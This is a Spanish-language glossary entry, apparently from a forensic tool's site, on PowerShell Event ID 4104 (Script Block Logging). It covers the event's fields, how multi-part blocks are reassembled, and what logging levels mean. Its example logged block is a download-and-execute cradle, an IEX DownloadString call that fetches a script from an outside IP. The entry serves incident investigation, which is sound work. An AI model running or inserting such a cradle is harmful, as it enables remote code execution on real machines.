Glosario
Event ID 4104
El evento de Script Block Logging de PowerShell: un bloque de código compilado, identificado por ScriptBlockId y numerado como MessageNumber de MessageTotal.
El Event ID 4104 es el evento de Script Block Logging, que se escribe en el registro Microsoft-Windows-PowerShell/Operational (y, en PowerShell 7, en PowerShellCore/Operational). Cada evento contiene el texto de un bloque de código de PowerShell tal como lo compiló el motor, después de resolver cualquier codificación u ofuscación de cadenas, lo que lo convierte en la fuente individual más rica sobre lo que PowerShell ejecutó realmente.
Por qué importa en una investigación
El 4104 muestra el propio código, no solo una línea de comandos, por lo que revela la lógica de un script que se descargó, se decodificó o se construyó en memoria. Su EventData incluye cuatro campos que conviene conocer:
ScriptBlockText: el código de esta parte del bloqueScriptBlockId: un GUID compartido por todas las partes de un mismo bloqueMessageNumber/MessageTotal: esta es la parte n de NPath: el archivo.ps1de origen, cuando el bloque procede de un script
Como el registro de eventos limita el tamaño de cada evento, un script largo se divide en varios eventos 4104. Para recuperarlo, agrupe por ScriptBlockId, ordene por MessageNumber y concatene ScriptBlockText. Si una parte ha salido del registro por rotación o nunca se recopiló, la reconstrucción tiene un hueco que cualquier interpretación debe tener en cuenta.
El nivel también importa. Con la directiva activada, los bloques se registran con nivel Verbose; los bloques registrados con nivel Warning los marcó PowerShell por su cuenta porque contienen términos que considera sospechosos, algo que ocurre incluso cuando el registro completo está desactivado.
Ejemplo
Un script largo podría llegar como tres eventos que comparten un mismo ScriptBlockId, numerados 1 de 3, 2 de 3 y 3 de 3. Si solo se conservan las partes 1 y 3, el parser sigue mostrando el bloque y lo marca como parcial, indicando que la parte 2 de 3 no está en el registro, para que el hueco no pase desapercibido. Un bloque de una sola parte podría contener:
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
MessageNumber: 1 MessageTotal: 1
Términos relacionados
- Script Block Logging, la función que genera el 4104
- Module Logging (4103), su evento complementario en el mismo registro
- Registro clásico de Windows PowerShell, con los eventos 400, 403, 600 y 800
Reensamble y decodifique eventos 4104 en su navegador con el PowerShell Parser y lea la guía forense del 4104.